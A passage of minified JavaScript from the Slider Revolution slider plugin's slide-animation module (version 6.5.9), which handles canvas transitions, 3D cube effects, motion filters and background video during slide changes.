0!==a.shadowCanvas?a.shadowCanvas:a.loadobj.img,0,0,a.SLOT.OW,a.SLOT.OH,i.sgx-a.SLOT.OW/2,i.sgy-a.SLOT.OH/2,a.SLOT.OW,a.SLOT.OH),t.restore(),t.fillStyle="rgba(0,0,0,0.6)",t.fillRect(i.gx,i.gy,a.SLOT.OW,a.SLOT.OH),t.restore())},extendTimeLine:function(e,i,a,r,s,o){"in"!==s.direction||void 0===r.gxe&&void 0===r.gye||(jQuery.extend(!0,a[0],{d:r.d,gx:void 0===r.gxs?0:2*t.SATools.getOffset(r.gxs,o.width,s.sdir,0),gy:void 0===r.gys?0:2*t.SATools.getOffset(r.gys,o.height,s.sdir,0),sgx:void 0===r.gxs?0:t.SATools.getOffset(r.gxs,o.width,s.sdir,0),sgy:void 0===r.gys?0:t.SATools.getOffset(r.gys,o.height,s.sdir,0),mw:0-o.width,mh:0-o.height}),i.add(tpGS.gsap.to(a,r.ms/r.sec,{gx:void 0===r.gxe?0:2*t.SATools.getOffset(r.gxe,o.width,s.sdir,0),gy:void 0===r.gye?0:2*t.SATools.getOffset(r.gye,o.height,s.sdir,0),sgx:void 0===r.gxe?0:2*t.SATools.getOffset(r.gxe,o.width,s.sdir,0),sgy:void 0===r.gye?0:2*t.SATools.getOffset(r.gye,o.height,s.sdir,0),mw:o.width,mh:o.height,ease:r.e}),0))}},motionFilter:{init:function(e,t){return void 0!==t&&parseFloat(t)>0?(t=parseFloat(t),e.fmExists=!0,e.fmShadow=void 0===e.fmShadow?document.createElement("canvas"):e.fmShadow,e.fmCtx=e.fmShadow.getContext("2d"),e.fmShadow.width=e.ctx.canvas.width,e.fmShadow.height=e.ctx.canvas.height,e.fmCtx.globalAlpha=tpGS.gsap.utils.mapRange(100,0,40,0,t)/100,e.fmCtx.clearRect(0,0,e.ctx.canvas.width,e.ctx.canvas.height)):e.fmExists=!1,t},render:function(e,t){"partial"===t&&(e.fmCtx.globalCompositeOperation="source-over"),e.fmCtx.drawImage(e.canvas,0,0,e.canvas.width,e.canvas.height),e.ctx.clearRect(0,0,e.canvas.width,e.canvas.height),e.ctx.drawImage(e.fmCtx.canvas,0,0,e.canvas.width,e.canvas.height),"partial"===t&&(e.fmCtx.globalCompositeOperation="source-atop"),"partial"!==t&&"full"!==t||(e.fmCtx.fillStyle="rgba(255, 255, 255, 0.1)",e.fmCtx.fillRect(0,0,e.canvas.width,e.canvas.height))},clearFull:function(e,t){e.fmExists&&void 0!==e.fmCtx&&(e.ctx.clearRect(0,0,e.canvas.width,e.canvas.height),e.fmCtx.clearRect(0,0,e.canvas.width,e.canvas.height),void 0!==t&&t.render(t.time(),!0,!0))},complete:function(e){e.fmShadow&&e.fmShadow.remove()}},d3:{ticker:function(e,t,i){if(void 0!==e.helper){var a=e.smi*("in"===i?e.helper.oo:e.helper.o),r=e.sma*("in"===i?e.helper.oo:e.helper.o);if(e.gradient="vertical"===e.d?"in"===i?t.ctx.createLinearGradient(0,0,0,t.canvas.height):t.ctx.createLinearGradient(0,t.canvas.height,0,0):"in"===i?t.ctx.createLinearGradient(0,0,t.canvas.width,0):t.ctx.createLinearGradient(t.canvas.width,0,0,0),e.gradient.addColorStop(0,"rgba("+e.sc+","+a+")"),e.gradient.addColorStop(e.sl,"rgba("+e.sc+","+r+")"),t.ctx.fillStyle=e.gradient,t.ctx.fillRect(0,0,t.canvas.width,t.canvas.height),void 0!==t.cube&&t.cube.ctx){var s=void 0!==e.roomhelper&&!1!==e.roomhelper&&(90-e.roomhelper.r)/90;a=!1!==s?s:e.smi*e.helper.o,r=!1!==s?s:e.sma*e.helper.o,t.cube.ctx.clearRect(0,0,t.cube.ctx.canvas.width,t.cube.ctx.canvas.height),e.gradientW=!1!==s?"vertical"===e.d?e.t<0&&1===e.sdir||e.t>0&&-1===e.sdir?t.ctx.createRadialGradient(0,t.cube.ctx.canvas.width/2,0,0,0,2*t.cube.ctx.canvas.width):t.ctx.createRadialGradient(t.cube.ctx.canvas.width,0,0,0,0,2*t.cube.ctx.canvas.width):e.t>0&&1===e.sdir||e.t<0&&-1===e.sdir?t.ctx.createRadialGradient(t.cube.ctx.canvas.width/2,t.cube.ctx.canvas.height,0,t.cube.ctx.canvas.width/2,t.cube.ctx.canvas.height,t.cube.ctx.canvas.width):t.ctx.createRadialGradient(t.cube.ctx.canvas.width/2,.2*t.cube.ctx.canvas.height,0,t.cube.ctx.canvas.width/2,.2*t.cube.ctx.canvas.height,t.cube.ctx.canvas.width):"vertical"===e.d?t.ctx.createLinearGradient(0,0,0,t.cube.ctx.canvas.height):t.ctx.createLinearGradient(0,0,t.cube.ctx.canvas.width,0),e.gradientW.addColorStop(0,"rgba("+e.sc+","+(!1!==s?"a"===e.DIR?r:0:"a"===e.DIR?0:r)+")"),e.gradientW.addColorStop(1,"rgba("+e.sc+","+(!1!==s?"a"===e.DIR?0:r:"a"===e.DIR?r:0)+")"),t.cube.ctx.fillStyle=e.gradientW,t.cube.ctx.fillRect(0,0,t.cube.ctx.canvas.width,t.cube.ctx.canvas.height)}}},setWall:function(e,t,i,a,r,s){return e.TL=tpGS.gsap.timeline(),e.TL.add(tpGS.gsap.to(e.c,.2,{display:"block"}),0),"rotationX"===i?(e.ctx.canvas.width=a.w,e.ctx.canvas.height=a.w,e.TL.add(tpGS.gsap.set(e.w,{backgroundColor:r,width:a.w,height:a.w,transformOrigin:"50% 50% -"+a.w/2+"px",x:0,y:t>0?-(a.w-a.h):0,rotationX:t>0?-90:90,rotationY:0}),0)):(e.ctx.canvas.width=s?a.w:a.h,e.ctx.canvas.height=a.h,e.TL.add(tpGS.gsap.set(e.w,{backgroundColor:r,width:s?a.w:a.h,height:a.h,transformOrigin:"50% 50% -"+(s?a.w:a.h)/2+"px",x:t<0?a.w-a.h:0,y:0,rotationX:0,rotationY:t>0?-90:90}),0)),e.TL},buildCube:function(e){e.cube={c:document.createElement("div"),w:document.createElement("canvas")},e.cube.ctx=e.cube.w.getContext("2d"),e.cube.c.className="rs_fake_cube",e.cube.w.className="rs_fake_cube_wall",tpGS.gsap.set(e.cube.c,{width:e.mDIM.w,height:e.mDIM.h}),tpGS.gsap.set(e.cube.w,{width:e.mDIM.w,height:e.mDIM.h,backgroundColor:"#ccc"}),e.cube.c.appendChild(e.cube.w),e.sbg.appendChild(e.cube.c)},cubeTL:function(e,i,a,r){if("none"!==i.f&&void 0!==i.f){a.sbg.style.transformStyle="preserve-3d";var s=tpGS.gsap.timeline(),o="incube"===i.f?1:-1,n="incube"===i.f||"cube"===i.f,l="fly"===i.f?-30:90,d="turn"!==i.f&&!1!==i.t&&(_R_is_Editor||!0===t[e].firstSlideAnimDone),S=-1*i.z,c={},p={z:d?0:S,ease:"power1.inOut"},R={ease:i.e},u=[a.canvas],V=n?"50% 50% ":"20% 20% ",y="rotationX",m="rotationY",f="y",h="height",g=i.fd;if("vertical"!==i.d?(y="rotationY",m="rotationX",f="x",h="width",i.DIR=1===i.sdir?"b":"a"):i.DIR=1===i.sdir?"a":"b",h="width"===h?"w":"height"===h?"h":h,"turn"===i.f?(l="vertical"===i.d?-120:120,V="vertical"===i.d?1===i.sdir?"in"===r?"0% 0% 0%":"0% 100% 0%":"in"===r?"0% 100% 0%":"0% 0% 0%":1===i.sdir?"in"===r?"0% 0% 0%":"100% 0% 0%":"in"===r?"100% 0% 0%":"0% 0% 0%",p.z=0,R.ease="out"===r?"power3.out":R.ease,g="out"===r?g/2:g):V+=o*a.mDIM[h]/2+"px",R[y]=0,R[f]=0,"in"===r?c[y]=l*i.sdir:R[y]=-l*i.sdir,"fly"===i.f){var v=void 0===i.fz?20*Math.random()-10:parseInt(i.fz);"in"===r?(c[f]=a.mDIM[h]*(void 0===i.fdi?1.5:parseFloat(i.fdi))*i.sdir,c.rotateZ=i.sdir*v,R.rotateZ=0):(R[f]=a.mDIM[h]*(void 0===i.fdo?2:parseFloat(i.fdo))*i.sdir*-1,R.rotateZ=i.sdir*v*-1)}if(a.sbg.style.perspective=d?"2500px":"1500px",d){var _={z:S*("fly"===i.f?1.5:3),ease:"power1.inOut"},L={z:0,ease:"power1.inOut"};_[m]=-1*i.t,L[m]=0,i.roomhelper={r:0},s.add(tpGS.gsap.set(_R_is_Editor?RVS.SBGS[RVS.S.slideId].wrap:a.wrap[0],{perspective:1200,transformStyle:"preserve-3d",transformOrigin:V}),0),s.add(tpGS.gsap.to(a.sbg,3*i.md,_),0),s.add(tpGS.gsap.to(a.sbg,3*i.md,L),g-i.md),s.add(tpGS.gsap.to(i.roomhelper,3*i.md,{r:Math.abs(i.t)}),0),s.add(tpGS.gsap.to(i.roomhelper,3*i.md,{r:0}),g-i.md),"in"===r&&1!==o&&n&&(void 0===a.cube&&t.transitions.d3.buildCube(a),s.add(t.transitions.d3.setWall(a.cube,_[m],m,a.mDIM,i.c),0),u.push(a.cube.c))}else i.roomhelper=!1,s.add(tpGS.gsap.set(_R_is_Editor?RVS.SBGS[RVS.S.slideId].wrap:a.wrap[0],{perspective:"none",transformStyle:"none",transformOrigin:"50% 50%"}),0),!_R_is_Editor&&!0!==t[e].firstSlideAnimDone&&n&&(void 0===a.cube&&t.transitions.d3.buildCube(a),s.add(t.transitions.d3.setWall(a.cube,c[y],y,a.mDIM,i.c,!0),0),s.add(tpGS.gsap.fromTo(a.cube.w,4*i.md,{opacity:0},{opacity:1}),0),u.push(a.cube.c));return i.helper={o:0,oo:1},s.add(tpGS.gsap.to(i.helper,g,{o:1,oo:0,ease:i.e}),i.md+0),s.add(tpGS.gsap.set(u,jQuery.extend(!0,{},c,{force3D:!0,transformOrigin:V})),0),"turn"!==i.f&&s.add(tpGS.gsap.to(u,3*i.md,p),0),s.add(tpGS.gsap.to(u,g,R),i.md+0),"turn"!==i.f&&s.add(tpGS.gsap.to(u,3*i.md,{z:0,ease:"power1.inOut"}),g-i.md),"out"===r&&1!==o&&s.add(tpGS.gsap.to(u,2*i.md,{opacity:0}),i.dur-2*i.md),s}}}},animatedCanvasUpdate:function(e,i){i.cDIMS=t.getBGCanvasDetails(e,i),i.canvas.style.backgroundColor="transparent",i.canvas.style.opacity=1,i.canvas.width!==i.mDIM.width&&(i.canvas.width=i.mDIM.width),i.canvas.height!==i.mDIM.height&&(i.canvas.height=i.mDIM.height),_R_is_Editor||!0!==t[e].clearModalBG||(i.ctx.clearRect(0,0,i.canvas.width,i.canvas.height),t[e].clearModalBG=!1,i.sbg.parentNode.style.opacity=1),i.col=i.col||1,i.row=i.row||1,i.SLOT=jQuery.extend(!0,{s:{},c:{}},a(e,i.col,i.row,i.mDIM,"OW","OH")),i.SLOT.DX=0-i.SLOT.OW/2,i.SLOT.DY=0-i.SLOT.OH/2,i.row=Math.ceil(i.mDIM.height/i.SLOT.OH)||1,void 0!==i.callFromAnimatedCanvasUpdate&&i.callFromAnimatedCanvasUpdate()},slideAnimFinished:function(e,i,a,r){void 0!==i&&(void 0!==i.bgvid&&i.bgvid.length>0&&"out"===a.direction&&(i.drawVideoCanvasImagesRecall=!1,t.stopVideo(i.bgvid,e),i.bgvid[0].style.display="none",i.bgvid[0].style.zIndex=0),i.panFake&&i.panFake.img&&("out"===a.direction?i.panFake.img.style.display="none":i.panFake.img.style.display="block"),"in"===a.direction&&(t.transitions.motionFilter.complete(i),i.ctx.canvas.style.filter="none",tpGS.gsap.set(a.slide,{zIndex:20}),delete i.animateDirection,i.bgvid.length>0&&(i.isHTML5?tpGS.gsap.set(i.bgvid[0],{zIndex:30,display:"block",opacity:1}):(t.resetVideo(i.bgvid,e),tpGS.gsap.delayedCall(.1,function(){t.playVideo(i.bgvid,e,!0),tpGS.gsap.set(i.bgvid[0],{zIndex:30,display:"block",opacity:1})})))),"out"===a.direction?(tpGS.gsap.set(a.slide,{zIndex:10}),tpGS.gsap.set(i.canvas,{rotationX:0,rotationY:0,rotationZ:0,x:0,y:0,z:0,opacity:1}),i.currentState=void 0):i.currentState="idle",void 0!==i.cube&&(i.cube.c.style.display="none"),"in"===a.direction&&(t.updateSlideBGs(e,i.skeyindex,i),void 0===i.panzoom||_R_is_Editor||t.startPanZoom(t[e].pr_next_bg,e,void 0!==t[e].panzoomTLs[i.skeyindex]?t[e].panzoomTLs[i.skeyindex].progress():0,i.skeyindex,"play",i.key),void 0!==a.BG&&!0!==r&&a.BG.ctx.clearRect(0,0,2*i.canvas.width,2*i.canvas.height)))},animateCore:function(e,i,a,r){var s,o,n,l,d=i.canvas,S=i.ctx,c=0;if(i.col=a.col,i.row=a.row,_R_is_Editor&&i.three){for(i.canvas.style.display="block";i.three.scene.children.length>0;)i.three.scene.remove(i.three.scene.children[0]);i.three.canvas.parentNode.removeChild(i.three.canvas),i.three=void 0}t.animatedCanvasUpdate(e,i),a.row=i.row,i.animateDirection=r.direction,r.delay=void 0===r.delay?0:r.delay,n=a.col*a.row,l=Array(n),void 0===i.help_canvas&&"out"===r.direction&&void 0!==r.bgColor&&(i.help_canvas=document.createElement("canvas"),i.help_ctx=i.help_canvas.getContext("2d")),"out"===r.direction&&void 0!==r.bgColor&&(i.help_canvas.width=i.mDIM.width,i.help_canvas.height=i.mDIM.height,i.help_ctx.fillStyle=r.bgColor,i.help_ctx.fillRect(0,0,i.mDIM.width,i.mDIM.height)),a.mo=t.transitions.motionFilter.init(i,a.mo),a.dur=a.ms/a.sec,void 0!==r.d3&&(r.d3.dur=a.dur,r.d3.fd=.7*a.dur,r.d3.md=.15*a.dur,r.d3.sdir=r.sdir),i.SLOT.c={ws:0,hs:0,wd:0,hd:0},a.mo>0&&_R_is_Editor&&S.clearRect(0,0,d.width,d.height);var p=tpGS.gsap.timeline({onUpdate:function(){if(c=0,a.mo>0?t.transitions.motionFilter.render(i,a.moo):S.clearRect(0,0,d.width,d.height),i.help_canvas&&"out"===r.direction&&S.drawImage(i.help_canvas,0,0),(r.filter&&r.filter.u||!_R_is_Editor)&&t.transitions.filter.update(r.filter,S,i.canvasFilterBlur),_R_is_Editor&&0!==a.zIndex&&void 0!==a.zIndex&&tpGS.gsap.set(r.slide,{zIndex:a.zIndex}),void 0!==i.shadowCanvas)for(s=0;s<a.col;s++)for(i.SLOT.SX=i.SLOT.OW*s,i.SLOT.tw=i.SLOT.OW*(s+.5),i.SLOT.c.wd=i.mDIM.width-(i.SLOT.tw+i.SLOT.DX+i.SLOT.OW),i.SLOT.c.wd=i.SLOT.c.wd<0?i.SLOT.c.wd:0,i.SLOT.DW=i.SLOT.SW=i.SLOT.OW+i.SLOT.c.wd,o=0;o<a.row;o++){S.save();var n=-Math.PI/180*l[c].r,p=0!==a.r?Math.cos(n)*l[c].sx:l[c].sx,R=0!==a.r?Math.cos(n)*l[c].sy:l[c].sy,u=0!==a.r?Math.sin(n)*l[c].sx:0,V=0!==a.r?Math.sin(n)*-l[c].sy:0;i.SLOT.SY=i.SLOT.OH*o,i.SLOT.th=i.SLOT.OH*(o+.5),t.transitions[r.effect]&&t.transitions[r.effect].beforeDraw&&t.transitions[r.effect].beforeDraw(e,S,l[c],i),a.m&&(S.beginPath(),S.rect(i.SLOT.OW*s,i.SLOT.OH*o,i.SLOT.OW,i.SLOT.OH),S.clip()),S.transform(p,u,V,R,i.SLOT.tw+l[c].x,i.SLOT.th+l[c].y),S.globalAlpha=Math.max(0,l[c].o),i.SLOT.c.hd=i.mDIM.height-(i.SLOT.th+i.SLOT.DY+i.SLOT.OH),i.SLOT.c.hd=i.SLOT.c.hd<0?i.SLOT.c.hd:0,i.SLOT.DH=i.SLOT.SH=i.SLOT.OH+i.SLOT.c.hd,i.SLOT.SW>1&&i.SLOT.SH>1&&S.drawImage(i.shadowCanvas,i.SLOT.SX,i.SLOT.SY,i.SLOT.SW,i.SLOT.SH,i.SLOT.DX,i.SLOT.DY,i.SLOT.DW,i.SLOT.DH),S.restore(),t.transitions[r.effect]&&t.transitions[r.effect].afterDraw&&t.transitions[r.effect].afterDraw(e,S,l[c],i,{csx:p,csy:R,ssx:u,ssy:V}),c++}void 0!==r.d3&&r.d3.su&&t.transitions.d3.ticker(r.d3,i,r.direction),i.currentState="animating"},onComplete:function(){t.slideAnimFinished(e,i,r)}});if(a.col*a.row<2&&(a.f="start"),0!==a.zIndex&&void 0!==a.zIndex&&p.add(tpGS.gsap.set(r.slide,{zIndex:parseInt(a.zIndex,0)}),0),a.m="false"!=a.m&&!1!==a.m,"in"===r.direction){for(s=0;s<n;s++)l[s]={x:t.SATools.getOffset(a.x,a.m?i.SLOT.OW:i.mDIM.width,r.sdir,s),y:t.SATools.getOffset(a.y,a.m?i.SLOT.OH:i.mDIM.height,r.sdir,s),o:t.SATools.getSpecialValue(a.o,s,r.sdir),sx:t.SATools.getSpecialValue(a.sx,s,r.sdir),sy:t.SATools.getSpecialValue(a.sy,s,r.sdir),r:0!==a.r?t.SATools.getSpecialValue(a.r,s,r.sdir):0};p.add(tpGS.gsap.to(l,a.dur,{o:1,sx:1,sy:1,r:0,x:0,y:0,ease:a.e,stagger:{amount:"nodelay"===a.f?0:a.ms/a.stasec,grid:[a.col,a.row],from:"nodelay"===a.f?"start":a.f}}),r.delay),void 0!==r.d3&&p.add(t.transitions.d3.cubeTL(e,r.d3,i,"in"),0),t.transitions.filter.extendTimeLine(p,r.filter,i)}else{for(s=0;s<n;s++)l[s]={x:0,y:0,o:1,sx:1,sy:1,r:0};p.add(tpGS.gsap.to(l,a.dur,{o:function(e){return t.SATools.getSpecialValue(a.o,e,r.sdir)},sx:function(e){return t.SATools.getSpecialValue(a.sx,e,r.sdir)},sy:function(e){return t.SATools.getSpecialValue(a.sy,e,r.sdir)},r:0!==a.r&&void 0!==a.r?function(e){return t.SATools.getSpecialValue(a.r,e,r.sdir)}:0,x:function(e){return t.SATools.getOffset(a.x,a.m?i.SLOT.OW:i.mDIM.width,r.sdir,e)*(a.reversed?-1:1)},y:function(e){return t.SATools.getOffset(a.y,a.m?i.SLOT.OH:i.mDIM.height,r.sdir,e)*(a.reversed?-1:1)},ease:a.e,stagger:{amount:"nodelay"===a.f?0:a.ms/a.stasec,grid:[a.col,a.row],from:"nodelay"===a.f?"start":a.f}}),r.delay+(void 0!==a.outdelay?a.outdelay:0)),void 0!==r.d3&&p.add(t.transitions.d3.cubeTL(e,r.d3,i,"out"),0)}t.transitions[r.effect]&&t.transitions[r.effect].extendTimeLine&&t.transitions[r.effect].extendTimeLine(e,p,l,a,r,i.mDIM),_R_is_Editor?RVS.TL[RVS.S.slideId].slide.add(p,0):t[e].mtl.add(p,r.delay)}});var i=function(e,i){return void 0!==i&&t.isNumeric(i)?parseFloat(i,0):null==i||"default"===i||"d"===i?e:i},a=function(e,t,i,a,r,s){var o={};return o[r]=Math.ceil(a.width/t),o[s]=(_R_is_Editor,Math.ceil(a.height/i)),o},r=function(e){return null==e||0===e||NaN===e?1:e},s=function(e,a){_R_is_Editor||(t[e].duringslidechange=!0);var s,o=_R_is_Editor?-1:"arrow"==t[e].sc_indicator?void 0===t[e].sc_indicator_dir?t[e].sdir:t[e].sc_indicator_dir:t[e].sdir,l=!!_R_is_Editor||void 0!==t[e].pr_next_bg&&t[e].pr_next_bg.length>0&&void 0!==t[e].pr_next_bg[0],d=!!_R_is_Editor||void 0!==t[e].pr_active_bg&&t[e].pr_active_bg.length>0&&void 0!==t[e].pr_active_bg[0],c=_R_is_Editor?RVS.SBGS[RVS.S.slideId].n:l?t[e].sbgs[t[e].pr_next_bg[0].dataset.key]:void 0,p=_R_is_Editor?RVS.SBGS[RVS.S.slideId].c:d?t[e].sbgs[t[e].pr_active_bg[0].dataset.key]:void 0;o=1===o?-1:1,s=jQuery.extend(!0,{},function(e,a,s){var o=void 0!==t.transitions[a.anim.e]&&void 0!==t.transitions[a.anim.e].getBasic?t.transitions[a.anim.e].getBasic():t.getBasic(),n="";o.out=null==o.out?{}:o.out,o.out.reversed=void 0===a.out&&(void 0===o.out.reversed||o.out.reversed);void 0!==a.iw&&parseInt(a.iw,0),void 0!==a.ow&&parseInt(a.ow,0);for(var l in o.attr)n=o.attr[l],o.in[n]=i(o.in[n],a.in[n]),o.out[n]=o.out.reversed?o.in[n]:void 0===a.out?o.out[n]:i(o.out[n],a.out[n]);return o.filter=void 0!==a.filter?jQuery.extend(!0,a.filter,a.filter):o.filter,t.transitions[a.anim.e]&&t.transitions[a.anim.e].updateAnim&&(o=t.transitions[a.anim.e].updateAnim(e,o,s)),o.e=a.anim.e,void 0!==o.in&&(o.in.col="random"===o.in.col?tpGS.gsap.utils.random(1,10,1):r(o.in.col),o.in.row="random"===o.in.row?tpGS.gsap.utils.random(1,10,1):r(o.in.row)),void 0!==o.out&&(o.out.col="random"===o.out.col?tpGS.gsap.utils.random(1,10,1):r(o.out.col),o.out.row="random"===o.out.row?tpGS.gsap.utils.random(1,10,1):r(o.out.row)),o}(e,a,o)),void 0!==c.random&&void 0!==t.SLTR&&void 0!==p&&(delete p.help_canvas,delete p.help_ctx),s.ms=i(void 0,void 0===a.anim.ms?1e3:a.anim.ms),s.f=i(void 0,a.anim.f),s.p=i(void 0,a.anim.p),s.d=i(void 0,a.anim.d),s.o=a.anim.o,void 0!==a.d3&&(a.d3.t=void 0!==a.d3.t&&0!==a.d3.t&&a.d3.t,a.d3.su="true"==a.d3.su||1==a.d3.su,a.d3.su&&(a.d3.smi=void 0===a.d3.smi?0:parseFloat(a.d3.smi),a.d3.sl=void 0===a.d3.sl?1:parseFloat(a.d3.sl),a.d3.sma=void 0===a.d3.sma?.5:parseFloat(a.d3.sma),a.d3.sc=void 0===a.d3.sc?"0,0,0":tpGS.gsap.utils.splitColor(a.d3.sc).join(",")),s.p="none",void 0!==s.in.row&&void 0!==s.in.col&&s.in.row*s.in.col>200&&(s.filter=void 0)),s.in.sec=void 0===s.in.sec?1e3:s.in.sec,s.in.stasec=void 0===s.in.stasec?void 0===s.d?1500:100*s.d:s.in.stasec,s.in.ms="default"===s.ms||"d"===s.ms?s.in.ms:"random"===s.ms?Math.round(1e3*Math.random()+300):null!=s.ms?parseInt(s.ms,0):s.in.ms,s.out.ms=s.in.ms,void 0!==s.filter&&(s.filter.ms=s.in.ms,s.filter.sec=s.in.sec,s.filter.e=void 0===s.filter.e||"default"===s.filter.e?s.in.e:s.filter.e),s.in.f=void 0===s.f||"default"===s.f||"d"===s.f?s.in.f:s.f,s.in.f="slidebased"===s.in.f?1==o?"start":"end":"oppslidebased"===s.in.f?1===o?"end":"start":s.in.f,s.out.f=s.in.f,s.out=jQuery.extend(!0,{},s.in,s.out),s.in.eng=s.out.eng=a.anim.eng,void 0!==s.out.eng&&null==t[s.out.eng]&&(s.out.o=0,s.in.o=0,s.in.ms=s.out.ms=1e3,s.in.eng=s.out.eng="animateCore"),void 0!==s.p&&"none"!==s.p&&(s.in.bg="dark"===s.p?"#000":"light"===s.p?"#fff":"transparent",s.out.delay="none"!==s.p?function(e,t){return e/2.5}:0,1===s.out.o&&0===s.out.x&&0===s.out.y&&(s.out.o=0)),"forceinout"===s.o?(s.in.zIndex=20,s.out.zIndex=10):"outin"!==s.o&&(1!==s.in.o||0!==s.in.x||0!==s.in.y||void 0===a.out||1===s.out.o&&0===s.out.x&&0===s.out.y)||(s.in.zIndex=10,s.out.zIndex=20),c.bgvid.length>0&&(s.in=S(e,s.in,c,"in")),d&&void 0!==p.bgvid&&p.bgvid.length>0&&(s.out=S(e,s.out,p,"out")),void 0!==s.out&&(s.out.simplify||s.in.simplify)&&(s.out=n(s.out)),s.in.simplify&&(s.in=n(s.in)),_R_is_Editor||requestAnimationFrame(function(){t.generalObserver(t.ISM,!0)}),s.in.eng=void 0===s.in.eng?"animateCore":s.in.eng,s.out.eng=void 0===s.out.eng?"animateCore":s.out.eng,d&&!0!==s.out.skip&&t[s.out.eng](e,p,s.out,{effect:s.e,slide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].c.sbg:t[e].pr_active_slide,direction:"out",delay:0,bgColor:s.in.bg,sdir:o,filter:void 0,d3:a.d3,addOns:_R_is_Editor?a.addOns:void 0}),!0!==s.in.skip&&t[s.in.eng](e,c,s.in,{effect:s.e,slide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].n.sbg:t[e].pr_next_slide,direction:"in",delay:d?"function"==typeof s.out.delay?s.out.delay(s.in.ms/1e3,s.out.row*s.out.col):s.out.delay:s.in.delay,BG:p,outslide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].c.sbg:t[e].pr_active_slide,sdir:o,filter:s.filter,d3:a.d3,addOns:_R_is_Editor?a.addOns:void 0})},o=function(e,i,a){var r=e.height/e.width;if(a.ratio=a.conth/a.contw,a.ratio<r&&"contain"===i.bgfit||a.ratio>r&&"cover"===i.bgfit)a.height=e.width*a.ratio;else if(a.ratio>r&&"contain"===i.bgfit||a.ratio<r&&"cover"===i.bgfit)a.width=e.width*r/a.ratio;else if(a.ratio!==r||"contain"!==i.bgfit&&"cover"!==i.bgfit){var s=i.bgfit.split(" ");1===s.length&&(s[1]=s[0]),a.width="auto"===s[0]?a.contw:e.width*(parseInt(s[0],0)/100),a.height="auto"===s[1]?a.conth:a.width*a.ratio,i.usepattern=!0}else a.width=e.width;var o=function(e,i,a){return 1===(a=a.split(" ")).length&&(a[1]=a[0]),{x:"center"===a[0]||"50%"===a[0]?(e.width-i.width)/2:"left"===a[0]?0:"right"===a[0]?e.width-i.width:t.isNumeric(a[0])?0:a[0].indexOf("%")>=0?parseInt(a[0],0)/100*e.width-parseInt(a[0],0)/100*i.width:parseInt(a[0],0),y:"center"===a[1]||"50%"===a[1]?(e.height-i.height)/2:"top"===a[1]?0:"bottom"===a[1]?e.height-i.height:t.isNumeric(a[1])?0:a[1].indexOf("%")>=0?parseInt(a[1],0)/100*e.height-parseInt(a[1],0)/100*i.height:parseInt(a[1],0)}}(e,a,i.bgposition);return a.x=o.x,a.y=o.y,a},n=function(e){return e.o=0,e.r=0,e.row=1,e.col=1,e.x=0,e.y=0,e.sx=1,e.sy=1,e},l=function(e){return e="false"!==e&&!1!==e&&"off"!==e&&void 0!==e&&0!==e&&-1!==e},d=function(e){var t=e.toString(16);return 1==t.length?"0"+t:t},S=function(e,i,a,r){return i.skip=!1,"in"===r?a.isHTML5?(a.bgvid[0].style.display="none",t.resetVideo(a.bgvid,e),a.animateDirection="in",a.currentState="animating",a.drawVideoCanvasImagesRecall=!0,t.updateVideoFrames(e,a,!0),t.playVideo(a.bgvid,e)):(t[e].videos[a.bgvid[0].id].pauseCalled=!1,i.waitToSlideTrans=t[e].videos[a.bgvid[0].id].waitToSlideTrans,!0!==a.poster?(t.resetVideo(a.bgvid,e),t[e].videos[a.bgvid[0].id].prePlayForaWhile=!1,!0!==i.waitToSlideTrans&&t.playVideo(a.bgvid,e,!0),tpGS.gsap.fromTo(a.bgvid,i.ms/i.sec,{zIndex:30,display:"block",opacity:0},{opacity:1,zIndex:30,display:"block"}),a.loadobj.bgColor=!0,a.bgcolor="#000",i.simplify=!0):(t[e].videos[a.bgvid[0].id].prePlayForaWhile=!1,t.resetVideo(a.bgvid,e),t.playVideo(a.bgvid,e),a.bgvid[0].style.display="none",a.bgvid[0].style.zIndex=0,a.bgvid[0].style.opacity=0)):"out"===r&&(a.isHTML5?(a.currentState="animating",a.drawVideoCanvasImagesRecall=!0,t.updateVideoFrames(e,a,!0),window.requestAnimationFrame(function(){tpGS.gsap.to(a.bgvid,.1,{zIndex:0,display:"none"})})):(t.stopVideo(a.bgvid,e,!0),!0!==a.poster&&(a.loadobj.bgColor=!0,a.bgcolor="#000"))),i},c=function(e,t,i,a){return Math.sqrt(Math.pow(e-i,2)+Math.pow(t-a,2))},p=function(e,t){var i=t+Math.PI/2;return{x1:e.x,y1:e.y,x2:e.x+100*Math.cos(i),y2:e.y+100*Math.sin(i)}},R=function(e,t){var i=e.y2-e.y1,a=e.x1-e.x2,r=i*e.x1+a*e.y1,s=t.y2-t.y1,o=t.x1-t.x2,n=s*t.x1+o*t.y1,l=i*o-s*a;return 0!==l&&{x:Math.round((o*r-a*n)/l*100)/100,y:Math.round((i*n-s*r)/l*100)/100}};window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.slideanims={loaded:!0,version:"6.5.9"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery),function(e){"use strict";window._R_is_Editor?RVS._R=void 0===RVS._R?{}:RVS._R:window._R_is_Editor=!1,jQuery.fn.revolution=jQuery.fn.revolution||{};var t=_R_is_Editor?RVS._R:jQuery.fn.revolution;jQuery.extend(!0,t,{bgW:function(e,i){return _R_is_Editor?RVS.RMD.width:"carousel"===t[e].sliderType?t[e].justifyCarousel?t[e].carousel.slide_widths[void 0!==i?i:t[e].carousel.focused]:t[e].carousel.slide_width:t[e].module.width},bgH:function(e,i){return _R_is_Editor?RVS.RMD.height:"carousel"===t[e].sliderType?t[e].carousel.slide_height:t[e].module.height},getPZSides:function(e,t,i,a,r,s,o){var n=e*i,l=t*i,d=Math.abs(a-n),S=Math.abs(r-l),c=new Object;return c.l=(0-s)*d,c.r=c.l+n,c.t=(0-o)*S,c.b=c.t+l,c.h=s,c.v=o,c},getPZCorners:function(e,i,a,r){var s=e.bgposition.split(" ")||"center center",o="center"==s[0]?"50%":"left"==s[0]||"left"==s[1]?"0%":"right"==s[0]||"right"==s[1]?"100%":s[0],n="center"==s[1]?"50%":"top"==s[0]||"top"==s[1]?"0%":"bottom"==s[0]||"bottom"==s[1]?"100%":s[1];o=parseInt(o,0)/100||0,n=parseInt(n,0)/100||0;var l=new Object;return l.start=t.getPZSides(r.start.width,r.start.height,r.start.scale,i,a,o,n),l.end=t.getPZSides(r.start.width,r.start.height,r.end.scale,i,a,o,n),l},getPZValues:function(e){var 